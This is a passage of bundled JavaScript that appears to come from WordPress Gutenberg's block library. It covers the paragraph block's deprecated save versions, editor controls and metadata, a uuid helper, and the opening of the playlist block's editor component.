        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)("p", { ...import_block_editor171.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(import_block_editor171.RichText.Content, { value: content }) });
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customFontSize: {
          type: "number"
        }
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2(attributes2)
        );
      },
      save({ attributes: attributes2 }) {
        const {
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor,
          fontSize,
          customFontSize,
          direction
        } = attributes2;
        const textClass = (0, import_block_editor171.getColorClassName)("color", textColor);
        const backgroundClass = (0, import_block_editor171.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const fontSizeClass = (0, import_block_editor171.getFontSizeClass)(fontSize);
        const className = clsx_default({
          "has-text-color": textColor || customTextColor,
          "has-background": backgroundColor || customBackgroundColor,
          "has-drop-cap": dropCap,
          [`has-text-align-${align}`]: align,
          [fontSizeClass]: fontSizeClass,
          [textClass]: textClass,
          [backgroundClass]: backgroundClass
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          fontSize: fontSizeClass ? void 0 : customFontSize
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          import_block_editor171.RichText.Content,
          {
            tagName: "p",
            style: styles,
            className: className ? className : void 0,
            value: content,
            dir: direction
          }
        );
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customFontSize: {
          type: "number"
        }
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2(attributes2)
        );
      },
      save({ attributes: attributes2 }) {
        const {
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor,
          fontSize,
          customFontSize,
          direction
        } = attributes2;
        const textClass = (0, import_block_editor171.getColorClassName)("color", textColor);
        const backgroundClass = (0, import_block_editor171.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const fontSizeClass = (0, import_block_editor171.getFontSizeClass)(fontSize);
        const className = clsx_default({
          "has-text-color": textColor || customTextColor,
          "has-background": backgroundColor || customBackgroundColor,
          "has-drop-cap": dropCap,
          [fontSizeClass]: fontSizeClass,
          [textClass]: textClass,
          [backgroundClass]: backgroundClass
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          fontSize: fontSizeClass ? void 0 : customFontSize,
          textAlign: align
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          import_block_editor171.RichText.Content,
          {
            tagName: "p",
            style: styles,
            className: className ? className : void 0,
            value: content,
            dir: direction
          }
        );
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customFontSize: {
          type: "number"
        },
        width: {
          type: "string"
        }
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2(attributes2)
        );
      },
      save({ attributes: attributes2 }) {
        const {
          width,
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor,
          fontSize,
          customFontSize
        } = attributes2;
        const textClass = (0, import_block_editor171.getColorClassName)("color", textColor);
        const backgroundClass = (0, import_block_editor171.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const fontSizeClass = fontSize && `is-${fontSize}-text`;
        const className = clsx_default({
          [`align${width}`]: width,
          "has-background": backgroundColor || customBackgroundColor,
          "has-drop-cap": dropCap,
          [fontSizeClass]: fontSizeClass,
          [textClass]: textClass,
          [backgroundClass]: backgroundClass
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          fontSize: fontSizeClass ? void 0 : customFontSize,
          textAlign: align
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          import_block_editor171.RichText.Content,
          {
            tagName: "p",
            style: styles,
            className: className ? className : void 0,
            value: content
          }
        );
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        fontSize: {
          type: "number"
        }
      },
      save({ attributes: attributes2 }) {
        const {
          width,
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          fontSize
        } = attributes2;
        const className = clsx_default({
          [`align${width}`]: width,
          "has-background": backgroundColor,
          "has-drop-cap": dropCap
        });
        const styles = {
          backgroundColor,
          color: textColor,
          fontSize,
          textAlign: align
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          "p",
          {
            style: styles,
            className: className ? className : void 0,
            children: content
          }
        );
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2({
            ...attributes2,
            customFontSize: Number.isFinite(attributes2.fontSize) ? attributes2.fontSize : void 0,
            customTextColor: attributes2.textColor && "#" === attributes2.textColor[0] ? attributes2.textColor : void 0,
            customBackgroundColor: attributes2.backgroundColor && "#" === attributes2.backgroundColor[0] ? attributes2.backgroundColor : void 0
          })
        );
      }
    },
    {
      supports,
      attributes: {
        ...blockAttributes5,
        content: {
          type: "string",
          source: "html",
          default: ""
        }
      },
      save({ attributes: attributes2 }) {
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(import_element86.RawHTML, { children: attributes2.content });
      },
      migrate: (attributes2) => attributes2
    }
  ];
  var deprecated_default29 = deprecated12;

  // packages/block-library/build-module/paragraph/edit.mjs
  var import_i18n153 = __toESM(require_i18n(), 1);
  var import_components101 = __toESM(require_components(), 1);
  var import_block_editor174 = __toESM(require_block_editor(), 1);
  var import_blocks74 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/paragraph/use-enter.mjs
  var import_element87 = __toESM(require_element(), 1);
  var import_compose40 = __toESM(require_compose(), 1);
  var import_keycodes7 = __toESM(require_keycodes(), 1);
  var import_data95 = __toESM(require_data(), 1);
  var import_block_editor172 = __toESM(require_block_editor(), 1);
  var import_blocks73 = __toESM(require_blocks(), 1);
  function useOnEnter(props) {
    const { batch } = (0, import_data95.useRegistry)();
    const {
      moveBlocksToPosition,
      replaceInnerBlocks,
      duplicateBlocks,
      insertBlock
    } = (0, import_data95.useDispatch)(import_block_editor172.store);
    const {
      getBlockRootClientId,
      getBlockIndex,
      getBlockOrder,
      getBlockName,
      getBlock,
      getNextBlockClientId,
      canInsertBlockType
    } = (0, import_data95.useSelect)(import_block_editor172.store);
    const propsRef = (0, import_element87.useRef)(props);
    propsRef.current = props;
    return (0, import_compose40.useRefEffect)((element) => {
      function onKeyDown(event) {
        if (event.defaultPrevented) {
          return;
        }
        if (event.keyCode !== import_keycodes7.ENTER) {
          return;
        }
        const { content, clientId } = propsRef.current;
        if (content.length) {
          return;
        }
        const wrapperClientId = getBlockRootClientId(clientId);
        if (!(0, import_blocks73.hasBlockSupport)(
          getBlockName(wrapperClientId),
          "__experimentalOnEnter",
          false
        )) {
          return;
        }
        const order = getBlockOrder(wrapperClientId);
        const position = order.indexOf(clientId);
        if (position === order.length - 1) {
          let newWrapperClientId = wrapperClientId;
          while (!canInsertBlockType(
            getBlockName(clientId),
            getBlockRootClientId(newWrapperClientId)
          )) {
            newWrapperClientId = getBlockRootClientId(newWrapperClientId);
          }
          if (typeof newWrapperClientId === "string") {
            event.preventDefault();
            moveBlocksToPosition(
              [clientId],
              wrapperClientId,
              getBlockRootClientId(newWrapperClientId),
              getBlockIndex(newWrapperClientId) + 1
            );
          }
          return;
        }
        const defaultBlockName = (0, import_blocks73.getDefaultBlockName)();
        if (!canInsertBlockType(
          defaultBlockName,
          getBlockRootClientId(wrapperClientId)
        )) {
          return;
        }
        event.preventDefault();
        const wrapperBlock = getBlock(wrapperClientId);
        batch(() => {
          duplicateBlocks([wrapperClientId]);
          const blockIndex = getBlockIndex(wrapperClientId);
          replaceInnerBlocks(
            wrapperClientId,
            wrapperBlock.innerBlocks.slice(0, position)
          );
          replaceInnerBlocks(
            getNextBlockClientId(wrapperClientId),
            wrapperBlock.innerBlocks.slice(position + 1)
          );
          insertBlock(
            (0, import_blocks73.createBlock)(defaultBlockName),
            blockIndex + 1,
            getBlockRootClientId(wrapperClientId),
            true
          );
        });
      }
      element.addEventListener("keydown", onKeyDown);
      return () => {
        element.removeEventListener("keydown", onKeyDown);
      };
    }, []);
  }

  // packages/block-library/build-module/paragraph/deprecated-attributes.mjs
  var import_compose41 = __toESM(require_compose(), 1);
  var import_element88 = __toESM(require_element(), 1);
  var import_deprecated31 = __toESM(require_deprecated(), 1);
  var import_data96 = __toESM(require_data(), 1);
  var import_block_editor173 = __toESM(require_block_editor(), 1);
  function useDeprecatedAlign(align, style2, setAttributes) {
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data96.useDispatch)(import_block_editor173.store);
    const updateStyleWithAlign = (0, import_compose41.useEvent)(() => {
      (0, import_deprecated31.default)("align attribute in paragraph block", {
        alternative: "style.typography.textAlign",
        since: "7.0"
      });
      __unstableMarkNextChangeAsNotPersistent();
      setAttributes({
        style: {
          ...style2,
          typography: {
            ...style2?.typography,
            textAlign: align
          }
        }
      });
    });
    const lastUpdatedAlignRef = (0, import_element88.useRef)();
    (0, import_element88.useEffect)(() => {
      if (align === "full" || align === "wide" || align === lastUpdatedAlignRef.current) {
        return;
      }
      lastUpdatedAlignRef.current = align;
      updateStyleWithAlign();
    }, [align, updateStyleWithAlign]);
  }

  // packages/block-library/build-module/paragraph/edit.mjs
  var import_jsx_runtime351 = __toESM(require_jsx_runtime(), 1);
  function ParagraphRTLControl({ direction, setDirection }) {
    return (0, import_i18n153.isRTL)() && /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
      import_components101.ToolbarButton,
      {
        icon: format_ltr_default,
        title: (0, import_i18n153._x)("Left to right", "editor button"),
        isActive: direction === "ltr",
        onClick: () => {
          setDirection(direction === "ltr" ? void 0 : "ltr");
        }
      }
    );
  }
  function hasDropCapDisabled(align) {
    return align === ((0, import_i18n153.isRTL)() ? "left" : "right") || align === "center";
  }
  function DropCapControl({ clientId, attributes: attributes2, setAttributes, name: name123 }) {
    const [isDropCapFeatureEnabled] = (0, import_block_editor174.useSettings)("typography.dropCap");
    if (!isDropCapFeatureEnabled) {
      return null;
    }
    const { style: style2, dropCap } = attributes2;
    const textAlign = style2?.typography?.textAlign;
    let helpText;
    if (hasDropCapDisabled(textAlign)) {
      helpText = (0, import_i18n153.__)("Not available for aligned text.");
    } else if (dropCap) {
      helpText = (0, import_i18n153.__)("Showing large initial letter.");
    } else {
      helpText = (0, import_i18n153.__)("Show a large initial letter.");
    }
    const isDropCapControlEnabledByDefault = (0, import_blocks74.getBlockSupport)(
      name123,
      "typography.defaultControls.dropCap",
      false
    );
    return /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(import_block_editor174.InspectorControls, { group: "typography", children: /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
      import_components101.__experimentalToolsPanelItem,
      {
        hasValue: () => !!dropCap,
        label: (0, import_i18n153.__)("Drop cap"),
        isShownByDefault: isDropCapControlEnabledByDefault,
        onDeselect: () => setAttributes({ dropCap: false }),
        resetAllFilter: () => ({ dropCap: false }),
        panelId: clientId,
        children: /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
          import_components101.ToggleControl,
          {
            label: (0, import_i18n153.__)("Drop cap"),
            checked: !!dropCap,
            onChange: () => setAttributes({ dropCap: !dropCap }),
            help: helpText,
            disabled: hasDropCapDisabled(textAlign)
          }
        )
      }
    ) });
  }
  function ParagraphBlock({
    attributes: attributes2,
    mergeBlocks,
    onReplace,
    onRemove,
    setAttributes,
    clientId,
    isSelected: isSingleSelected,
    name: name123
  }) {
    const { content, direction, dropCap, placeholder: placeholder2, style: style2 } = attributes2;
    const textAlign = style2?.typography?.textAlign;
    useDeprecatedAlign(attributes2.align, style2, setAttributes);
    const blockProps = (0, import_block_editor174.useBlockProps)({
      ref: useOnEnter({ clientId, content }),
      className: clsx_default({
        "has-drop-cap": hasDropCapDisabled(textAlign) ? false : dropCap
      }),
      style: { direction }
    });
    const blockEditingMode = (0, import_block_editor174.useBlockEditingMode)();
    return /* @__PURE__ */ (0, import_jsx_runtime351.jsxs)(import_jsx_runtime351.Fragment, { children: [
      blockEditingMode === "default" && /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(import_block_editor174.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
        ParagraphRTLControl,
        {
          direction,
          setDirection: (newDirection) => setAttributes({ direction: newDirection })
        }
      ) }),
      isSingleSelected && /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
        DropCapControl,
        {
          name: name123,
          clientId,
          attributes: attributes2,
          setAttributes
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
        import_block_editor174.RichText,
        {
          identifier: "content",
          tagName: "p",
          ...blockProps,
          value: content,
          onChange: (newContent) => setAttributes({ content: newContent }),
          onMerge: mergeBlocks,
          onReplace,
          onRemove,
          "aria-label": import_block_editor174.RichText.isEmpty(content) ? (0, import_i18n153.__)(
            "Empty block; start writing or type forward slash to choose a block"
          ) : (0, import_i18n153.__)("Block: Paragraph"),
          "data-empty": import_block_editor174.RichText.isEmpty(content),
          placeholder: placeholder2 || (0, import_i18n153.__)("Type / to choose a block"),
          "data-custom-placeholder": placeholder2 ? true : void 0,
          __unstableEmbedURLOnPaste: true,
          __unstableAllowPrefixTransformations: true
        }
      )
    ] });
  }
  var edit_default22 = ParagraphBlock;

  // packages/block-library/build-module/paragraph/block.json
  var block_default62 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/paragraph",
    title: "Paragraph",
    category: "text",
    description: "Start with the basic building block of all narrative.",
    keywords: ["text"],
    textdomain: "default",
    attributes: {
      content: {
        type: "rich-text",
        source: "rich-text",
        selector: "p",
        role: "content"
      },
      dropCap: {
        type: "boolean",
        default: false
      },
      placeholder: {
        type: "string"
      },
      direction: {
        type: "string",
        enum: ["ltr", "rtl"]
      }
    },
    supports: {
      align: ["wide", "full"],
      splitting: true,
      anchor: true,
      className: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        textColumns: true,
        textIndent: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalWritingMode: true,
        fitText: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalSelector: "p",
      __unstablePasteTextInline: true,
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      root: "p",
      typography: {
        textIndent: ".wp-block-paragraph + .wp-block-paragraph"
      }
    },
    editorStyle: "wp-block-paragraph-editor",
    style: "wp-block-paragraph"
  };

  // packages/block-library/build-module/paragraph/save.mjs
  var import_block_editor175 = __toESM(require_block_editor(), 1);
  var import_i18n154 = __toESM(require_i18n(), 1);
  var import_jsx_runtime352 = __toESM(require_jsx_runtime(), 1);
  function save37({ attributes: attributes2 }) {
    const { content, dropCap, direction, style: style2 } = attributes2;
    const textAlign = style2?.typography?.textAlign;
    const className = clsx_default({
      "has-drop-cap": textAlign === ((0, import_i18n154.isRTL)() ? "left" : "right") || textAlign === "center" ? false : dropCap
    });
    return /* @__PURE__ */ (0, import_jsx_runtime352.jsx)("p", { ...import_block_editor175.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0, import_jsx_runtime352.jsx)(import_block_editor175.RichText.Content, { value: content }) });
  }

  // packages/block-library/build-module/paragraph/transforms.mjs
  var import_blocks75 = __toESM(require_blocks(), 1);
  var { name: name62 } = block_default62;
  var transforms21 = {
    from: [
      {
        type: "raw",
        // Paragraph is a fallback and should be matched last.
        priority: 20,
        selector: "p",
        schema: ({ phrasingContentSchema, isPaste }) => ({
          p: {
            children: phrasingContentSchema,
            attributes: isPaste ? [] : ["style", "id"]
          }
        }),
        transform(node) {
          const attributes2 = (0, import_blocks75.getBlockAttributes)(name62, node.outerHTML);
          const { textAlign } = node.style || {};
          if (textAlign === "left" || textAlign === "center" || textAlign === "right") {
            attributes2.style = {
              ...attributes2.style,
              typography: {
                ...attributes2.style?.typography,
                textAlign
              }
            };
          }
          return (0, import_blocks75.createBlock)(name62, attributes2);
        }
      }
    ]
  };
  var transforms_default22 = transforms21;

  // packages/block-library/build-module/paragraph/index.mjs
  var { fieldsKey: fieldsKey14, formKey: formKey14 } = unlock(import_blocks76.privateApis);
  var { name: name63 } = block_default62;
  var settings62 = {
    icon: paragraph_default,
    example: {
      attributes: {
        content: (0, import_i18n155.__)(
          "In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing."
        )
      }
    },
    __experimentalLabel(attributes2, { context }) {
      const customName = attributes2?.metadata?.name;
      if ((context === "list-view" || context === "breadcrumb") && customName) {
        return customName;
      }
      if (context === "accessibility") {
        if (customName) {
          return customName;
        }
        const { content } = attributes2;
        return !content || content.length === 0 ? (0, import_i18n155.__)("Empty") : content;
      }
    },
    transforms: transforms_default22,
    deprecated: deprecated_default29,
    merge(attributes2, attributesToMerge) {
      return {
        content: (attributes2.content || "") + (attributesToMerge.content || "")
      };
    },
    edit: edit_default22,
    save: save37
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings62[fieldsKey14] = [
      {
        id: "content",
        label: (0, import_i18n155.__)("Content"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings62[formKey14] = {
      fields: ["content"]
    };
  }
  var init62 = () => initBlock({ name: name63, metadata: block_default62, settings: settings62 });

  // packages/block-library/build-module/playlist/index.mjs
  var playlist_exports = {};
  __export(playlist_exports, {
    init: () => init63,
    metadata: () => block_default63,
    name: () => name64,
    settings: () => settings63
  });

  // packages/block-library/build-module/playlist/block.json
  var block_default63 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: true,
    name: "core/playlist",
    title: "Playlist",
    category: "media",
    description: "Embed a simple playlist.",
    keywords: ["music", "sound"],
    textdomain: "default",
    allowedBlocks: ["core/playlist-track"],
    attributes: {
      currentTrack: {
        type: "string"
      },
      type: {
        type: "string",
        default: "audio"
      },
      order: {
        type: "string",
        default: "asc"
      },
      showTracklist: {
        type: "boolean",
        default: true
      },
      showImages: {
        type: "boolean",
        default: true
      },
      showArtists: {
        type: "boolean",
        default: true
      },
      showNumbers: {
        type: "boolean",
        default: true
      },
      caption: {
        type: "string"
      }
    },
    providesContext: {
      showArtists: "showArtists",
      currentTrack: "currentTrack"
    },
    supports: {
      anchor: true,
      align: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      interactivity: true,
      spacing: {
        margin: true,
        padding: true
      }
    },
    editorStyle: "wp-block-playlist-editor",
    style: "wp-block-playlist"
  };

  // node_modules/uuid/dist/esm-browser/rng.js
  var getRandomValues;
  var rnds8 = new Uint8Array(16);
  function rng() {
    if (!getRandomValues) {
      getRandomValues = typeof crypto !== "undefined" && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
      if (!getRandomValues) {
        throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");
      }
    }
    return getRandomValues(rnds8);
  }

  // node_modules/uuid/dist/esm-browser/stringify.js
  var byteToHex = [];
  for (let i2 = 0; i2 < 256; ++i2) {
    byteToHex.push((i2 + 256).toString(16).slice(1));
  }
  function unsafeStringify(arr, offset = 0) {
    return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + "-" + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + "-" + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + "-" + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + "-" + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
  }

  // node_modules/uuid/dist/esm-browser/native.js
  var randomUUID = typeof crypto !== "undefined" && crypto.randomUUID && crypto.randomUUID.bind(crypto);
  var native_default = {
    randomUUID
  };

  // node_modules/uuid/dist/esm-browser/v4.js
  function v47(options2, buf, offset) {
    if (native_default.randomUUID && !buf && !options2) {
      return native_default.randomUUID();
    }
    options2 = options2 || {};
    const rnds = options2.random || (options2.rng || rng)();
    rnds[6] = rnds[6] & 15 | 64;
    rnds[8] = rnds[8] & 63 | 128;
    if (buf) {
      offset = offset || 0;
      for (let i2 = 0; i2 < 16; ++i2) {
        buf[offset + i2] = rnds[i2];
      }
      return buf;
    }
    return unsafeStringify(rnds);
  }
  var v4_default = v47;

  // packages/block-library/build-module/playlist/edit.mjs
  var import_element89 = __toESM(require_element(), 1);
  var import_block_editor176 = __toESM(require_block_editor(), 1);
  var import_components102 = __toESM(require_components(), 1);
  var import_data97 = __toESM(require_data(), 1);
  var import_notices14 = __toESM(require_notices(), 1);
  var import_i18n156 = __toESM(require_i18n(), 1);
  var import_dom9 = __toESM(require_dom(), 1);
  var import_blocks77 = __toESM(require_blocks(), 1);
  var import_jsx_runtime353 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES6 = ["audio"];
  var CurrentTrack = ({ track, showImages, onTrackEnd }) => {
    const trackTitle = {
      dangerouslySetInnerHTML: {
        __html: (0, import_dom9.safeHTML)(track?.title ? track.title : (0, import_i18n156.__)("Untitled"))
      }
    };
    const trackArtist = {
      dangerouslySetInnerHTML: {
        __html: (0, import_dom9.safeHTML)(
          track?.artist ? track.artist : (0, import_i18n156.__)("Unknown artist")
        )
      }
    };
    const trackAlbum = {
      dangerouslySetInnerHTML: {
        __html: (0, import_dom9.safeHTML)(
          track?.album ? track.album : (0, import_i18n156.__)("Unknown album")
        )
      }
    };
    let ariaLabel;
    if (track?.title && track?.artist && track?.album) {
      ariaLabel = (0, import_dom9.__unstableStripHTML)(
        (0, import_i18n156.sprintf)(
          /* translators: %1$s: track title, %2$s artist name, %3$s: album name. */
          (0, import_i18n156._x)(
            "%1$s by %2$s from the album %3$s",
            "track title, artist name, album name"
          ),
          track?.title,
          track?.artist,
          track?.album
        )
      );
    } else if (track?.title) {
      ariaLabel = (0, import_dom9.__unstableStripHTML)(track.title);
    } else {
      ariaLabel = (0, import_dom9.__unstableStripHTML)((0, import_i18n156.__)("Untitled"));
    }
    return /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(import_jsx_runtime353.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)("div", { className: "wp-block-playlist__current-item", children: [
        showImages && track?.image && /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          "img",
          {
            className: "wp-block-playlist__item-image",
            src: track.image,
            alt: "",
            width: "70px",
            height: "70px"
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)("div", { children: [
          !track?.title ? /* @__PURE__ */ (0, import_jsx_runtime353.jsx)("span", { className: "wp-block-playlist__item-title", children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_components102.Spinner, {}) }) : /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
            "span",
            {
              className: "wp-block-playlist__item-title",
              ...trackTitle
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)("div", { className: "wp-block-playlist__current-item-artist-album", children: [
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              "span",
              {
                className: "wp-block-playlist__item-artist",
                ...trackArtist
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              "span",
              {
                className: "wp-block-playlist__item-album",
                ...trackAlbum
              }
            )
          ] })
        ] })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
        "audio",
        {
          controls: "controls",
          src: track?.url ? track.url : "",
          onEnded: onTrackEnd,
          "aria-label": ariaLabel,
          tabIndex: 0
        }
      )
    ] });
  };
  var PlaylistEdit = ({
    attributes: attributes2,
    setAttributes,
    isSelected,
    insertBlocksAfter,
    clientId
  }) => {
    const {
      order,
      showTracklist,
      showNumbers,
      showImages,
      showArtists,
      currentTrack
    } = attributes2;
    const [trackListIndex, setTrackListIndex] = (0, import_element89.useState)(0);
    const blockProps = (0, import_block_editor176.useBlockProps)();
    const { replaceInnerBlocks, __unstableMarkNextChangeAsNotPersistent } = (0, import_data97.useDispatch)(import_block_editor176.store);
    const { createErrorNotice } = (0, import_data97.useDispatch)(import_notices14.store);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    function onUploadError(message) {
      createErrorNotice(message, { type: "snackbar" });
    }
    const { updateBlockAttributes } = (0, import_data97.useDispatch)(import_block_editor176.store);
    const { innerBlockTracks } = (0, import_data97.useSelect)(
      (select9) => {
        const { getBlock: _getBlock } = select9(import_block_editor176.store);
        return {
          innerBlockTracks: _getBlock(clientId)?.innerBlocks ?? []
        };
      },
      [clientId]
    );
    (0, import_element89.useEffect)(() => {
      const seen = /* @__PURE__ */ new Set();
      let hasDuplicates = false;
      const updatedBlocks = innerBlockTracks.map((block) => {
        if (seen.has(block.attributes.uniqueId)) {
          hasDuplicates = true;
          return {
            ...block,
            attributes: {
              ...block.attributes,
              uniqueId: v4_default()
            }
          };
        }
        seen.add(block.attributes.uniqueId);
        return block;
      });
      if (hasDuplicates) {
        replaceInnerBlocks(clientId, updatedBlocks);
      }
    }, [innerBlockTracks, clientId, replaceInnerBlocks]);
    const validTracks = innerBlockTracks.filter(
      (block) => !!block.attributes.uniqueId
    );
    const tracks = validTracks.map((block) => block.attributes);
    const firstTrackId = validTracks[0]?.attributes?.uniqueId;
    (0, import_element89.useEffect)(() => {
      if (tracks.length === 0) {
        if (currentTrack !== null) {
          updateBlockAttributes(clientId, { currentTrack: null });
        }
      } else if (
        // If the currentTrack is not the first track, update it to the first track.
        firstTrackId && firstTrackId !== currentTrack
      ) {
        updateBlockAttributes(clientId, { currentTrack: firstTrackId });
      }
    }, [
      tracks,
      currentTrack,
      firstTrackId,
      clientId,
      updateBlockAttributes
    ]);
    const onSelectTracks = (0, import_element89.useCallback)(
      (media) => {
        if (!media) {
          return;
        }
        if (!Array.isArray(media)) {
          media = [media];
        }
        const trackAttributes = (track) => ({
          id: track.id || track.url,
          // Attachment ID or URL.
          uniqueId: v4_default(),
          // Unique ID for the track.
          src: track.url,
          title: track.title,
          artist: track.artist || track?.meta?.artist || track?.media_details?.artist || (0, import_i18n156.__)("Unknown artist"),
          album: track.album || track?.meta?.album || track?.media_details?.album || (0, import_i18n156.__)("Unknown album"),
          length: track?.fileLength || track?.media_details?.length_formatted,
          // Prevent using the default media attachment icon as the track image.
          // Note: Image is not available when a new track is uploaded.
          image: track?.image?.src && track?.image?.src.endsWith("/images/media/audio.svg") ? "" : track?.image?.src
        });
        const trackList = media.map(trackAttributes);
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          currentTrack: trackList.length > 0 ? trackList[0].uniqueId : null
        });
        const newBlocks = trackList.map(
          (track) => (0, import_blocks77.createBlock)("core/playlist-track", track)
        );
        replaceInnerBlocks(clientId, newBlocks);
      },
      [
        __unstableMarkNextChangeAsNotPersistent,
        setAttributes,
        replaceInnerBlocks,
        clientId
      ]
    );
    const onTrackEnd = (0, import_element89.useCallback)(() => {
      if (trackListIndex < tracks.length - 1) {
        if (tracks[trackListIndex + 1]?.uniqueId) {
          setTrackListIndex(trackListIndex + 1);
          setAttributes({
            currentTrack: tracks[trackListIndex + 1].uniqueId
          });
        }
      } else {
        setTrackListIndex(0);
        if (tracks[0].uniqueId) {
          setAttributes({ currentTrack: tracks[0].uniqueId });
        } else if (tracks.length > 0) {
          const validTrack = tracks.find(
            (track) => track.uniqueId !== void 0
          );
          if (validTrack) {
            setAttributes({ currentTrack: validTrack.uniqueId });
          }
        }
      }
    }, [setAttributes, trackListIndex, tracks]);
    const onChangeOrder = (0, import_element89.useCallback)(
      (trackOrder) => {
        const sortedBlocks = [...innerBlockTracks].sort((a2, b2) => {
          const titleA = a2.attributes.title || "";
          const titleB = b2.attributes.title || "";
          if (trackOrder === "asc") {
            return titleA.localeCompare(titleB);
          }
          return titleB.localeCompare(titleA);
        });
        const sortedTracks = sortedBlocks.map(
          (block) => block.attributes
        );
        replaceInnerBlocks(clientId, sortedBlocks);
        setAttributes({
          order: trackOrder,
          currentTrack: sortedTracks.length > 0 && sortedTracks[0].uniqueId !== currentTrack ? sortedTracks[0].uniqueId : currentTrack
        });
      },
      [
        clientId,
        currentTrack,
        innerBlockTracks,
        replaceInnerBlocks,
        setAttributes
      ]
    );
    function toggleAttribute(attribute) {
      return (newValue) => {
        setAttributes({ [attribute]: newValue });
      };
    }
    const hasSelectedChild = (0, import_data97.useSelect)(
      (select9) => select9(import_block_editor176.store).hasSelectedInnerBlock(clientId),
      [clientId]
    );
